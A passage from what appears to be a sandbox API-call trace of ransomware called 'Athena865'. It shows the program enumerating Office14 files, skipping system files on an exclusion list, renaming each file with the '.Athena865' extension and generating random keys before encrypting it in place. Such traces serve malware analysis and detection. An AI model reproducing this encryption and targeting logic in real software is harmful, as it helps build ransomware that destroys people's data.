dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.488] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x1a900, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="REMINDER.WAV", cAlternateFileName="")) returned 1 [0084.488] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.488] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2=".") returned 1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="..") returned 1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="windows") returned -1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="bootmgr") returned 1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="temp") returned -1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="pagefile.sys") returned 1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="boot") returned 1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="ids.txt") returned 1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="ntuser.dat") returned 1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="perflogs") returned 1 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2="MSBuild") returned 1 [0084.489] lstrlenW (lpString="REMINDER.WAV") returned 12 [0084.489] lstrcpyW (in: lpString1=0x241e89e, lpString2="REMINDER.WAV" | out: lpString1="REMINDER.WAV") returned="REMINDER.WAV" [0084.489] lstrlenW (lpString="REMINDER.WAV") returned 12 [0084.489] lstrlenW (lpString="Athena865") returned 9 [0084.489] lstrcmpiW (lpString1="INDER.WAV", lpString2="Athena865") returned 1 [0084.489] lstrlenW (lpString=".dll") returned 4 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2=".dll") returned 1 [0084.489] lstrlenW (lpString=".lnk") returned 4 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2=".lnk") returned 1 [0084.489] lstrlenW (lpString=".ini") returned 4 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2=".ini") returned 1 [0084.489] lstrlenW (lpString=".sys") returned 4 [0084.489] lstrcmpiW (lpString1="REMINDER.WAV", lpString2=".sys") returned 1 [0084.489] lstrlenW (lpString="REMINDER.WAV") returned 12 [0084.489] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV.Athena865") returned 65 [0084.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav.athena865"), dwFlags=0x1) returned 1 [0084.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0084.491] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108800) returned 1 [0084.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.491] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.492] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.492] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.492] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ac00, lpName=0x0) returned 0x154 [0084.494] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ac00) returned 0x100000 [0084.499] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.500] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.500] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.501] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.502] CloseHandle (hObject=0x154) returned 1 [0084.502] CloseHandle (hObject=0x17c) returned 1 [0084.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.503] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66038c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="REPORT.DLL", cAlternateFileName="")) returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2=".") returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="..") returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="windows") returned -1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="bootmgr") returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="temp") returned -1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="pagefile.sys") returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="boot") returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="ids.txt") returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="ntuser.dat") returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="perflogs") returned 1 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2="MSBuild") returned 1 [0084.503] lstrlenW (lpString="REPORT.DLL") returned 10 [0084.503] lstrcpyW (in: lpString1=0x241e89e, lpString2="REPORT.DLL" | out: lpString1="REPORT.DLL") returned="REPORT.DLL" [0084.503] lstrlenW (lpString="REPORT.DLL") returned 10 [0084.503] lstrlenW (lpString="Athena865") returned 9 [0084.503] lstrcmpiW (lpString1="EPORT.DLL", lpString2="Athena865") returned 1 [0084.503] lstrlenW (lpString=".dll") returned 4 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2=".dll") returned 1 [0084.503] lstrlenW (lpString=".lnk") returned 4 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2=".lnk") returned 1 [0084.503] lstrlenW (lpString=".ini") returned 4 [0084.503] lstrcmpiW (lpString1="REPORT.DLL", lpString2=".ini") returned 1 [0084.503] lstrlenW (lpString=".sys") returned 4 [0084.504] lstrcmpiW (lpString1="REPORT.DLL", lpString2=".sys") returned 1 [0084.504] lstrlenW (lpString="REPORT.DLL") returned 10 [0084.504] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\REPORT.DLL.Athena865") returned 63 [0084.504] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\REPORT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\report.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\REPORT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\report.dll.athena865"), dwFlags=0x1) returned 1 [0084.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REPORT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\report.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0084.505] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=230792) returned 1 [0084.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.505] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.506] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.506] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.506] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38890, lpName=0x0) returned 0x154 [0084.507] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38890) returned 0x170000 [0084.521] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.522] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.522] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.522] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0084.524] CloseHandle (hObject=0x154) returned 1 [0084.525] CloseHandle (hObject=0x17c) returned 1 [0084.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.526] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="REVERSE.DLL", cAlternateFileName="")) returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2=".") returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="..") returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="windows") returned -1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="bootmgr") returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="temp") returned -1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="pagefile.sys") returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="boot") returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="ids.txt") returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="ntuser.dat") returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="perflogs") returned 1 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2="MSBuild") returned 1 [0084.526] lstrlenW (lpString="REVERSE.DLL") returned 11 [0084.526] lstrcpyW (in: lpString1=0x241e89e, lpString2="REVERSE.DLL" | out: lpString1="REVERSE.DLL") returned="REVERSE.DLL" [0084.526] lstrlenW (lpString="REVERSE.DLL") returned 11 [0084.526] lstrlenW (lpString="Athena865") returned 9 [0084.526] lstrcmpiW (lpString1="VERSE.DLL", lpString2="Athena865") returned 1 [0084.526] lstrlenW (lpString=".dll") returned 4 [0084.526] lstrcmpiW (lpString1="REVERSE.DLL", lpString2=".dll") returned 1 [0084.526] lstrlenW (lpString=".lnk") returned 4 [0084.527] lstrcmpiW (lpString1="REVERSE.DLL", lpString2=".lnk") returned 1 [0084.527] lstrlenW (lpString=".ini") returned 4 [0084.527] lstrcmpiW (lpString1="REVERSE.DLL", lpString2=".ini") returned 1 [0084.527] lstrlenW (lpString=".sys") returned 4 [0084.527] lstrcmpiW (lpString1="REVERSE.DLL", lpString2=".sys") returned 1 [0084.527] lstrlenW (lpString="REVERSE.DLL") returned 11 [0084.527] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\REVERSE.DLL.Athena865") returned 64 [0084.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\REVERSE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\reverse.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\REVERSE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\reverse.dll.athena865"), dwFlags=0x1) returned 1 [0084.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REVERSE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\reverse.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0084.528] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22920) returned 1 [0084.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.529] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.529] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.530] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.530] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c90, lpName=0x0) returned 0x154 [0084.531] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c90) returned 0x100000 [0084.533] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.533] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.533] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.534] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.534] CloseHandle (hObject=0x154) returned 1 [0084.534] CloseHandle (hObject=0x17c) returned 1 [0084.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.535] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b753100, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b753100, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x353f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSWOP.ICM", cAlternateFileName="")) returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2=".") returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="..") returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="windows") returned -1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="bootmgr") returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="temp") returned -1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="pagefile.sys") returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="boot") returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="ids.txt") returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="ntuser.dat") returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="perflogs") returned 1 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2="MSBuild") returned 1 [0084.535] lstrlenW (lpString="RSWOP.ICM") returned 9 [0084.535] lstrcpyW (in: lpString1=0x241e89e, lpString2="RSWOP.ICM" | out: lpString1="RSWOP.ICM") returned="RSWOP.ICM" [0084.535] lstrlenW (lpString="RSWOP.ICM") returned 9 [0084.535] lstrlenW (lpString="Athena865") returned 9 [0084.535] lstrlenW (lpString=".dll") returned 4 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2=".dll") returned 1 [0084.535] lstrlenW (lpString=".lnk") returned 4 [0084.535] lstrcmpiW (lpString1="RSWOP.ICM", lpString2=".lnk") returned 1 [0084.536] lstrlenW (lpString=".ini") returned 4 [0084.536] lstrcmpiW (lpString1="RSWOP.ICM", lpString2=".ini") returned 1 [0084.536] lstrlenW (lpString=".sys") returned 4 [0084.536] lstrcmpiW (lpString1="RSWOP.ICM", lpString2=".sys") returned 1 [0084.536] lstrlenW (lpString="RSWOP.ICM") returned 9 [0084.536] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM.Athena865") returned 62 [0084.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\office14\\rswop.icm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\rswop.icm.athena865"), dwFlags=0x1) returned 1 [0084.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\rswop.icm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0084.537] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=218103) returned 1 [0084.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.538] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.539] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.539] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.539] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35700, lpName=0x0) returned 0x154 [0084.540] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35700) returned 0x170000 [0084.549] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.550] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.550] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.551] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0084.553] CloseHandle (hObject=0x154) returned 1 [0084.553] CloseHandle (hObject=0x17c) returned 1 [0084.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.554] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, 